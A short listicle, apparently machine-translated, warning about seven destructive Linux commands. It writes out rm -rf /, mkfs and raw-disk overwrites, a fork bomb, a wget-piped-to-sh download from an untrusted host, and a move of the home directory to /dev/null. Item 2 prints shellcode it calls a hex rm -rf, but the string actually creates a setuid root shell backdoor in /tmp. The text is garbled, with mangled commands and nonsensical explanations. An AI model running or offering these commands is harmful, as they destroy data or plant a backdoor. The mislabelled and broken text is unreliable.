Deadly 7 Linux commands _linux

1.RM-RF/This command will recursively merge all files under the mandatory delete/directory.
2.Char esp[] __attribute__ ((section (". Text"))/* E.S.P
Release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
"\x6e\x2f\x73\x68\x00\x2d\x63\x00″
"Cp-p/bin/sh/tmp/.beyond; chmod 4755
/tmp/.beyond; ";
This is the RM-RF/hex (hexadecimal) version, which is very confusing to Linux users.
3.MKFS.EXT3/DEV/SDA This will reformat the hard disk, and naturally all the data on the hard drive will be destroyed.
4.:() {:|:&};: The famous fork bomb, this command will tell your system to execute a massive process until your system zombie.
5.Any_command >/DEV/SDA Using this command, the raw data will be written to a block device, resulting in data loss.
6.wget http://some_untrusted_source-o-| sh do not download anything from untrusted places, which may get malicious code.
7.mv/home/yourhomedirectory/*/dev/null This command will move all files in the home directory to a non-existent location, and you will never see those files again.

If you think there are other deadly Linux commands, please let us know in the message.